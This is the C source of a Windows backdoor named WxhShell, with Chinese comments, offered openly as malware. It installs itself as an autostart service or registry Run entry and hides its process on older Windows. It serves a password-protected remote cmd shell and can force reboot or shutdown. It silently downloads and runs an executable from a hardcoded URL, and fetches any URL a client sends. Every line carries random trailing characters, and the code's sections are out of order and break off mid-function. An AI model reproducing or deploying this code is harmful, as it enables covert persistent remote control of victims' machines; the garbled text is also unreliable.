    if(Boot(SHUTDOWN)) <a& $D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dK7BjZTJo  
    else { !eD f}~  
    closesocket(wsh); `q7X(x  
    ExitThread(0); @E?o~jO(e  
    } &xS] ;Fr  
    break; mz3Dt>  
    } =m?x5G^  
  // 获取shell 9*? i89T  
  case 's': { ?Nl@K/  
    CmdShell(wsh); 4l_~-Peh  
    closesocket(wsh); y2>AbrJ  
    ExitThread(0); \!4_m8?  
    break; gLWbd~  
  } pUeok+k_  
  // 退出 gO_d!x*  
  case 'x': { )8V=!73  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G4J)o?:m@  
    CloseIt(wsh); uVzvUz{b  
    break; 2E@y0[C?  
    } ,xy$h }g  
  // 离开 eJ60@N\A  
  case 'q': { `'b2 z=j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .-cx9&  
    closesocket(wsh); D8)6yPwE  
    WSACleanup(); R-1C#R[  
    exit(1); + y|Q7+  
    break; > |(L3UA9  
        } 'E4}++\  
  } Eu$hC]w  
  } azl!#%  
vm8ER,IW)  
  // 提示信息 A{ . A1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `~2I  
} ed$w5dv  
  } Ev0=m;@_  
"_n})s f  
  return; <!derr-K  
} I$oqFF|D  
Pr#uV3\  
// shell模块句柄 }EN-WDJD\  
int CmdShell(SOCKET sock) W]M Fq5.  
{ Eb9n6Fg  
STARTUPINFO si; hWRr#030  
ZeroMemory(&si,sizeof(si)); Tvd: P^ C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oGz5ZDa#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pk&sY'  
PROCESS_INFORMATION ProcessInfo; +*x9$LSD  
char cmdline[]="cmd"; Nt7z ]F`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ [%K D  
  return 0; jh/aK_Q,w  
} .:B;%*  
NPLJ*uHH  
// 自身启动模式 #E4|@}30`  
int StartFromService(void) PgYIQpV  
{ &|fWtl;43  
typedef struct 'oF('uR  
{ oe[f2?-  
  DWORD ExitStatus; :O]US)VSj  
  DWORD PebBaseAddress; aJ J63aJ  
  DWORD AffinityMask; q)OCY}QA  
  DWORD BasePriority; }[SYWJIc  
  ULONG UniqueProcessId; O<y65#68Z  
  ULONG InheritedFromUniqueProcessId; SL?YU(a  
}   PROCESS_BASIC_INFORMATION; @81N{tg-  
* 5(%'3  
PROCNTQSIP NtQueryInformationProcess; ma@!"Z8 S  
JHg y&/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [rReBgV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \/R $p  
0t6DD  
  HANDLE             hProcess; Te7xj8<  
  PROCESS_BASIC_INFORMATION pbi; LU+}iA)  
Q 6dqFnz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a( SJ5t?-2  
  if(NULL == hInst ) return 0; oH(=T/{  
u0nIr9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -v$ q8_$m"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #hXxrN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *Nur>11D  
,n &Lp  
  if (!NtQueryInformationProcess) return 0; \W 7pSV-U  
t@q==VHF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DY1"t7 9E  
  if(!hProcess) return 0; O6Y1*XTmH6  
TEi1,yc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?b\oM v5y  
Z=(Tq1t  
  CloseHandle(hProcess); qI*7ToBJ  
0N_u6*@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ku GaOO  
if(hProcess==NULL) return 0; =4gPoS  
|2Uw8M7.E  
HMODULE hMod; Uz%2{HB@{  
char procName[255]; _=HNcpDA;0  
unsigned long cbNeeded; Gyb|{G_  
X~Hm.qIR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >~L0M  
 ?Zc(Zy6  
  CloseHandle(hProcess); g1~wg$`S8S  
L+8O 4K{  
if(strstr(procName,"services")) return 1; // 以服务启动 s \0,@A   
C@u}tH )  
  return 0; // 注册表启动 I?_WV_T&  
} x;A.Ll  
"%#CMCE|f  
// 主模块 |v_ttJ;+Y  
int StartWxhshell(LPSTR lpCmdLine) LR3>_t  
{ RM>A9nv$\  
  SOCKET wsl; vK$wc~  
BOOL val=TRUE; ,@\z{}~v  
  int port=0; e<+b?@}=B  
  struct sockaddr_in door; -?NAA]P5c@  
jOm7:+H  
  if(wscfg.ws_autoins) Install(); cJzkA^T9  
C]Q}HI#G  
port=atoi(lpCmdLine); P2)/!+`a  
f( <O~D  
if(port<=0) port=wscfg.ws_port; W#\{[o  
9V>C %I  
  WSADATA data; s01=C3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cng_*\=O  
?Cv([ ^Y.u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FIx|4[&>S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b(t8TR#-  
  door.sin_family = AF_INET; H\$uRA oo*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q;GcV&f;f  
  door.sin_port = htons(port); u-*z#e_L0  
`x;m@\R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S2>$S^[U  
closesocket(wsl); HQMug  
return 1; /z:1nq  
} k}!'@  
xXSfYW  
  if(listen(wsl,2) == INVALID_SOCKET) { nX8ulGGs  
closesocket(wsl); QWE\Ud.q  
return 1; K$O2 Fq@y  
} 3Pvz57z{  
  Wxhshell(wsl); gZ8JfA_\R(  
  WSACleanup(); . Ctd$  
&a)d,4e<M  
return 0; +'_ peT.8  
,\N4tG1\  
} S3&n?\CO:  
FsS.9 `B  
// 以NT服务方式启动 U65oh8x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )nrYxxN  
{ )>@%;\qV  
DWORD   status = 0; OxUc,%e9P  
  DWORD   specificError = 0xfffffff; \\3 ?ij:v  
7MsJ*E n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HubK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tJA"BP3f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t:b}Mo0  
  serviceStatus.dwWin32ExitCode     = 0; W j`f^^\HJ  
  serviceStatus.dwServiceSpecificExitCode = 0; |Qn>K   
  serviceStatus.dwCheckPoint       = 0; t<"%m)J  
  serviceStatus.dwWaitHint       = 0; &"7+k5O  
$LiBJ~vV<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .yD5>iBh  
  if (hServiceStatusHandle==0) return; )a9C3-8Y'  
G++<r7;x  
status = GetLastError(); J0B*V0'zR  
  if (status!=NO_ERROR) @U@O#+d'ZR  
{ }z qo<o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4BeHj~~  
    serviceStatus.dwCheckPoint       = 0; k{U[ U1j  
    serviceStatus.dwWaitHint       = 0; N%%trlDXD  
    serviceStatus.dwWin32ExitCode     = status; Lcf?VV}  
    serviceStatus.dwServiceSpecificExitCode = specificError; _-2n tO<E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5&xbGEP$  
    return; ZD4aT1|Q7  
  } ]dgi]R|`  
+ WT?p]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VCwC$ts  
  serviceStatus.dwCheckPoint       = 0; Yv0y8Vz@  
  serviceStatus.dwWaitHint       = 0; BCtKxtbS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f?> ?jf  
} &.qLE  
6C/Pu!Sx?  
// 处理NT服务事件,比如:启动、停止 oTrit_@3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wevd6)\  
{ &h_Y?5kK  
switch(fdwControl) t+\<i8  
{ X*9-P9x(6  
case SERVICE_CONTROL_STOP: >pe!T aBN  
  serviceStatus.dwWin32ExitCode = 0; n)\(\V7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }$g"|;<ha  
  serviceStatus.dwCheckPoint   = 0; ;#mm_*L%@  
  serviceStatus.dwWaitHint     = 0; t<`d*M2w  
  { F{c8{?:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p,!IPWo  
  } q_98=fyE6  
  return; xxwbX6^d  
case SERVICE_CONTROL_PAUSE: lCTXl5J5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zr=B8wuT  
  break; c6AwO?x/  
case SERVICE_CONTROL_CONTINUE: fzOh3FO+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mA"[x_  
  break; \U##b~Z,g  
case SERVICE_CONTROL_INTERROGATE: Y#6LNI   
  break; _>;{+XRX[  
}; XVb9)a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L-9;"]d~|  
} i0*Cs#(=h  
T Qx<lw  
// 标准应用程序主函数 57O|e/2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IZ87Px>zL  
{ ;mC|> wSZ  
]2YC7  
// 获取操作系统版本 fRq+pUx U  
OsIsNt=GetOsVer(); Ql9>i;AGV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1_l)$"  
pF9WKpzE  
  // 从命令行安装 u:tcL-;U  
  if(strpbrk(lpCmdLine,"iI")) Install(); P&<NcOCL&  
Q2:r WE{K!  
  // 下载执行文件 @(+\*]?^&  
if(wscfg.ws_downexe) { \DWKG~r-%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )>"pm {g2  
  WinExec(wscfg.ws_filenam,SW_HIDE); -yb7s2o  
} kD7'BP/#  
)rlkQ'DN  
if(!OsIsNt) { QpRk5NeLe  
// 如果时win9x,隐藏进程并且设置为注册表启动 H9(UzyN>i  
HideProc(); *ae)<l3v  
StartWxhshell(lpCmdLine); s,AJR [  
} 'Yh`B8  
else (bpRX$is  
  if(StartFromService()) ;C=V -r  
  // 以服务方式启动 o*2Mjd]r  
  StartServiceCtrlDispatcher(DispatchTable); 9U4[o<G]=  
else Z9q4W:jyS  
  // 普通方式启动 .mcohfR  
  StartWxhshell(lpCmdLine); S%B56|'  
C'{B  
return 0; -$Kc"rX  
} g9NE>n(3  
qk>SM| {  
yeBfzKI{b  
XsDZ<j%x89  
=========================================== Ts3!mjn  
7oc Ng  
O*!f%}  
^f-)gZ&  
2oOos%0  
G)c+GoK  
" <a&xhG}  
aQf2}kD  
#include <stdio.h> lQ4^I^?m  
#include <string.h> _MuzD&^qE  
#include <windows.h> uXvE>VpJG  
#include <winsock2.h> ;b. m X  
#include <winsvc.h> `T{CB) ?9  
#include <urlmon.h> m1X*I  
cLvnLaA}  
#pragma comment (lib, "Ws2_32.lib") lj:.}+]r  
#pragma comment (lib, "urlmon.lib") w=: c7Y+  
p#-=mXE/2  
#define MAX_USER   100 // 最大客户端连接数 {'B(S/Z 7  
#define BUF_SOCK   200 // sock buffer qh&q <M  
#define KEY_BUFF   255 // 输入 buffer Z;BEUtR c  
r dtzz#7  
#define REBOOT     0   // 重启 ~66v.`K!  
#define SHUTDOWN   1   // 关机 g1_z=(i`Z  
?^MH:o  
#define DEF_PORT   5000 // 监听端口 ]YfG`0eK<  
M?Q\ Hw  
#define REG_LEN     16   // 注册表键长度 *uP;rUY  
#define SVC_LEN     80   // NT服务名长度 -N5h`Ii7  
.*xO/pn  
// 从dll定义API Uovna:"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3Zs0W{OxU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X+<9 -]=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9`5.0**  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ktvs*.?  
A7&/3C6{H  
// wxhshell配置信息 p! )tA  
struct WSCFG { "Mv^S'?>  
  int ws_port;         // 监听端口 Ag*?>I  
  char ws_passstr[REG_LEN]; // 口令 ?I:_FT  
  int ws_autoins;       // 安装标记, 1=yes 0=no ="f-I9y  
  char ws_regname[REG_LEN]; // 注册表键名 rj4Mq:pJ  
  char ws_svcname[REG_LEN]; // 服务名 g\?07@Zd|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~E_irzOFP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c* ~0R?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *~cNUyd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ux{QYjF E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" heB![N0:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2']0c  z  
qu]a+cYY  
}; "*V'   
R/Sm  
// default Wxhshell configuration [u J<]  
struct WSCFG wscfg={DEF_PORT, [D(JEO@ :  
    "xuhuanlingzhe", V$;`#J$\b  
    1, gp~-n7'~O  
    "Wxhshell", O U9{Y9e  
    "Wxhshell", r2PN[cLu|  
            "WxhShell Service", (2"4PU8  
    "Wrsky Windows CmdShell Service", 9&<c)sS&B  
    "Please Input Your Password: ", B<h4ZK%  
  1, (!0_s48f  
  "http://www.wrsky.com/wxhshell.exe", *UJB *r  
  "Wxhshell.exe" _ Qek|>  
    }; ,I+O;B:0  
kK 5~hpv  
// 消息定义模块 \IzZJGi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qoZAZ&|HI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u`oJ3mS;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Hz11 }<(  
char *msg_ws_ext="\n\rExit."; CDW| cr{  
char *msg_ws_end="\n\rQuit."; eb,QT\/G  
char *msg_ws_boot="\n\rReboot..."; d(9SkXr  
char *msg_ws_poff="\n\rShutdown..."; +9' )G-`qj  
char *msg_ws_down="\n\rSave to "; pCa~:q*85  
rq1~%S  
char *msg_ws_err="\n\rErr!"; EG8z&^O x  
char *msg_ws_ok="\n\rOK!"; vl|3WYA  
5GPAt  
char ExeFile[MAX_PATH]; Vhb~kI!x  
int nUser = 0; b}u#MU  
HANDLE handles[MAX_USER]; [xDIK8d:I  
int OsIsNt; h"}F3E  
RC8-6s& ln  
SERVICE_STATUS       serviceStatus; sk~7"v{Y.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -XkjO$=!=  
= 1d$x:  
// 函数声明 Et}%sdS  
int Install(void);  #.Ly  
int Uninstall(void); 4"{g{8  
int DownloadFile(char *sURL, SOCKET wsh); //Xz  
int Boot(int flag); v]KPA.W  
void HideProc(void); YY'[PXP$Y  
int GetOsVer(void); YYkgm:[  
int Wxhshell(SOCKET wsl); ,.gJ8p(0x  
void TalkWithClient(void *cs); 6O 2sa-{d  
int CmdShell(SOCKET sock); 6Q+VW_~  
int StartFromService(void); !ueh%V Ky  
int StartWxhshell(LPSTR lpCmdLine); ?6I`$ &OA  
A^0-%Ygl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gB,Q4acjj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4xFAFK~lx  
@:!%Z`  
// 数据结构和表定义 mt e3k=17  
SERVICE_TABLE_ENTRY DispatchTable[] = ,c;#~y  
{ o(t`XE['<  
{wscfg.ws_svcname, NTServiceMain}, Z vyF"4QN  
{NULL, NULL} *0'{ n*>  
}; WFS6N.Ap  
%VXIiu[  
// 自我安装 ~wGjr7Wt  
int Install(void) /\1Q :B3W  
{ "e29j'u!*  
  char svExeFile[MAX_PATH]; OU mZ|  
  HKEY key; Tilr%D(Q  
  strcpy(svExeFile,ExeFile); [!ZYtp?Hf  
L9whgXD  
// 如果是win9x系统,修改注册表设为自启动 ~IQjQz?  
if(!OsIsNt) { {z'Gg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YsO`1D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rob: W|  
  RegCloseKey(key); aIWpgUd`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F{}:e QD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5pRVA  
  RegCloseKey(key); ;hFB]/.v  
  return 0; g)MLgjj  
    } )*o) iN 7l  
  } W`n_m&Y\  
} .=c@ps  
else { >g[Wnzf  
DFGgyFay  
// 如果是NT以上系统,安装为系统服务 -**fT?n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %]O #t<D  
if (schSCManager!=0) ]7h;MR  
{ xz,M>Ua  
  SC_HANDLE schService = CreateService SC2g5i`  
  ( H"2,Q T  
  schSCManager, HI)U6.'  
  wscfg.ws_svcname, i l%9j  
  wscfg.ws_svcdisp, _b=})**  
  SERVICE_ALL_ACCESS, x6=tS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /J,&G: Er  
  SERVICE_AUTO_START, z]O>`50Q  
  SERVICE_ERROR_NORMAL, 2Ju,P_<dt  
  svExeFile, 6|%HCxWO  
  NULL, Ax!fvcsN  
  NULL, O}7aX '  
  NULL, \l 3M\$oS>  
  NULL, `k08M)  
  NULL TR{dNO!q  
  ); ayA_[{j%X  
  if (schService!=0) :!,.c $M  
  { 81wmKqDEs  
  CloseServiceHandle(schService); 6M8(KN^  
  CloseServiceHandle(schSCManager); -%t8a42  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -ktYS(8&  
  strcat(svExeFile,wscfg.ws_svcname); WxF@'kdn*,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T9'5V@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .:, 9Tf  
  RegCloseKey(key); I]ol[ X0S  
  return 0; ;Y(~'KF  
    } 8@I.\u)0  
  } + V-&?E(  
  CloseServiceHandle(schSCManager); ,k/<Nv;  
} K%vGfQ8Er-  
} UAdj [m61  
/B  
return 1; jbTyM"Y  
} j!`2Z@  
zU};|Zw  
// 自我卸载 V0:db  
int Uninstall(void) VU|Cct&)  
{ I~c}&'V  
  HKEY key; DAd$u1  
9, 792b  
if(!OsIsNt) { N{zou?+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E`uK7 2j  
  RegDeleteValue(key,wscfg.ws_regname); /s`xPxvt  
  RegCloseKey(key); 3-2?mV>5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C6b(\#g(  
  RegDeleteValue(key,wscfg.ws_regname); Xec U&  
  RegCloseKey(key); _Hq)mF  
  return 0; gr$H?|n l  
  } )i>T\B  
} DZ|/#- k  
} 3bB%@^<  
else { gH/k}M7tA#  
) $I"LyK)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aeF^&F0  
if (schSCManager!=0) 7kidPAhY  
{ W-ECmw(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rYr.mX  
  if (schService!=0) cNqw(\rr  
  { :y[tZ&*<_?  
  if(DeleteService(schService)!=0) { Q|cA8Fn  
  CloseServiceHandle(schService); Ad`jV_z  
  CloseServiceHandle(schSCManager); 1Aa=&B2  
  return 0; Yy0m &3[  
  } <8/lHQ^\)  
  CloseServiceHandle(schService); w+ tO@  
  } rx;zd?  
  CloseServiceHandle(schSCManager); k$ } 6Qd  
}  WR"p2=  
} mdHC{sp  
aMjCqu05  
return 1; jl4rEzVu  
} bjq2XP?LL  
Mxe  
// 从指定url下载文件 %5H>tG`]   
int DownloadFile(char *sURL, SOCKET wsh) L"!BN/i_  
{ yh Ymbu  
  HRESULT hr; gG=E2+=uy  
char seps[]= "/"; bDPT1A`F  
char *token; gs77")K&  
char *file; /-ky'S9  
char myURL[MAX_PATH];  Z@`HFZJ  
char myFILE[MAX_PATH]; E^. =^bR  
m,]M_y\u  
strcpy(myURL,sURL); _&m   
  token=strtok(myURL,seps); -vC?bumR%  
  while(token!=NULL) }' t*BaU  
  { Djf,#&j!3  
    file=token; o,RLaS,BK'  
  token=strtok(NULL,seps); lq!l{[Xp  
  } yS-owtVCGF  
`_v|O{DC{  
GetCurrentDirectory(MAX_PATH,myFILE); ^UK6q2[  
strcat(myFILE, "\\"); x_5H_! \#  
strcat(myFILE, file); ];go?.*C  
  send(wsh,myFILE,strlen(myFILE),0); XX(;,[(_  
send(wsh,"...",3,0); ?Yp: h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }mC-SC)oSi  
  if(hr==S_OK) AHR%3W  
return 0; `p%&c%*A  
else $Mp#tH28  
return 1; 4m6E~_:F  
F 'U G p  
} @YTZnGG*  
Io&F0~Z;;(  
// 系统电源模块 5q?ZuAAA  
int Boot(int flag) b=+'i  
{ ?o9g5Z  
  HANDLE hToken; *^u5?{$l(  
  TOKEN_PRIVILEGES tkp; Kq;Yb&  
FiqcM-Af4  
  if(OsIsNt) { 6(}8[i:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SpY%2Y.Dy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iB5Se  
    tkp.PrivilegeCount = 1; o3l_&?^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O=St}B\!m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OPwj*b:-m  
if(flag==REBOOT) { ( Qw"^lE3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dg1h<]T"9  
  return 0; .Eg>)  
} @vaK-&|#$  
else { Vj"B#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?c^0%Op  
  return 0; 2@aVoqrq#  
} K/jC>4/c/  
  } {@oYMO~  
  else { kGMI ?  
if(flag==REBOOT) { 7PZ0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rr# &0`]  
  return 0; Khxl 'qj  
} ALiXT8q  
else { \5Jpr'mY5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DxT8;`I%  
  return 0; gX34'<Z  
} n-{G19?  
} p/xxoU  
Nq)=E[$  
return 1; n ||/3-HDj  
} _}7N,Cx   
=x~HcsJ8!R  
// win9x进程隐藏模块 +)FB[/pXk  
void HideProc(void) W9?Vh{w  
{ T'l >$6  
{ls$#a+d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gfs?H#  
  if ( hKernel != NULL ) 'kK}9VKl  
  { Y`3>i,S6\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'k#^Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ucyz>TL0  
    FreeLibrary(hKernel); FMuM:%&J]  
  } {|6(_SM|  
l =ZhHON  
return; Dm[4`p@IY\  
} ]w(i,iJ  
A - G?@U  
// 获取操作系统版本 >v`lsCGb  
int GetOsVer(void) |b52JF ",  
{ `Xnu("w)  
  OSVERSIONINFO winfo; e@6<mir[4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qj?FUxw  
  GetVersionEx(&winfo); $z]gy]F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cw`v\ 9  
  return 1; E3y"  
  else g&H6~ +\  
  return 0; `6b!W0$ -  
} }r6SV%]:  
HP2]b?C  
// 客户端句柄模块 #m6 eG&a  
int Wxhshell(SOCKET wsl) _U)DL=a'  
{ INsc!xOQ  
  SOCKET wsh; e;56}w  
  struct sockaddr_in client; h84}lxT^]  
  DWORD myID; ^Pf FW  
[Zk|s9  
  while(nUser<MAX_USER) PWOV~ `^;  
{ z1?7}9~`0c  
  int nSize=sizeof(client); 6';'pHqe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T+m`a #  
  if(wsh==INVALID_SOCKET) return 1; pIk&NI  
UjwA06  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }| _uqvin  
if(handles[nUser]==0) o-B9r+N  
  closesocket(wsh); $6T*\(;T@A  
else `itaQGLD  
  nUser++; oW(p (>  
  } ~fn2B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %8tlJQvu  
vAi kd#C)  
  return 0; T@uY6))>F  
} <SUjz}_Oa:  
l njaHol0  
// 关闭 socket 3HC aZ?Ry'  
void CloseIt(SOCKET wsh) v&%GK5j7O  
{ ] FvN*@lG  
closesocket(wsh); [nxjPx9-  
nUser--; SEF/ D0  
ExitThread(0); H?8KTl=e  
} JNRG [j  
r@0HqZx`  
// 客户端请求句柄 agN`) F!  
void TalkWithClient(void *cs) >sdj6^[+  
{ {=j!2v#8~  
a0Cf.[L  
  SOCKET wsh=(SOCKET)cs; .G#S*L  
  char pwd[SVC_LEN]; 6$w)"Rq  
  char cmd[KEY_BUFF]; 0n|op:]BHM  
char chr[1]; bN@V=C3  
int i,j; ZkkXITQkPM  
@kn0f`  
  while (nUser < MAX_USER) { ^)conSm  
5V4Ze;K  
if(wscfg.ws_passstr) { z,[4 BM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9~bje^M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g= k}6"F~  
  //ZeroMemory(pwd,KEY_BUFF); i2/:' i  
      i=0; Zh]d&Xeq  
  while(i<SVC_LEN) { Glcl7f"<^  
&xMR{:  
  // 设置超时 ={-\)j  
  fd_set FdRead; 0F6^[osqtl  
  struct timeval TimeOut; h #Od tc1)  
  FD_ZERO(&FdRead); y.26:c(  
  FD_SET(wsh,&FdRead); =O1N*'e  
  TimeOut.tv_sec=8; ngj=w;7~+  
  TimeOut.tv_usec=0; I4ZL +a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N\1!)b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &/}]9 #  
[ /w{,+U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y!;rY1  
  pwd=chr[0]; $R%xeih1fz  
  if(chr[0]==0xd || chr[0]==0xa) { pHEhB9_A!  
  pwd=0; YA O, rh  
  break; sH(4.36+  
  } Q\ TawRK8  
  i++; +^YXqOXU  
    } E!&A[TlX\  
-bu.Ar-#;h  
  // 如果是非法用户,关闭 socket Nt9M$?\P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A1zM$ wDU  
} *x2+sgSf_0  
|X k'd@<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _>%P};G{>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2i*-ET  
mBSa*s)  
while(1) { W# E`h  
*P_(hG&c  
  ZeroMemory(cmd,KEY_BUFF); }20 Q`?  
Uc%(#I]Mi  
      // 自动支持客户端 telnet标准   b26#0;i  
  j=0; fi^ I1*S  
  while(j<KEY_BUFF) { $As;Tvw.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ |v4B[/  
  cmd[j]=chr[0]; <61T)7  
  if(chr[0]==0xa || chr[0]==0xd) { Vrz x;V%  
  cmd[j]=0; eTem RNz  
  break; n~l9`4wJY  
  } q%%8oaEI  
  j++; NypM+y  
    } @&t ';"AE  
hJ\IE?+  
  // 下载文件 1r;]==  
  if(strstr(cmd,"http://")) { k'E3{8<!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =<R")D]4z  
  if(DownloadFile(cmd,wsh)) R)MWO5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %^ f! = *  
  else xDv$z.=Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i"Hec9Ri  
  } A(G%9'T  
  else { 7Vd"k;:X  
Rd@34"O  
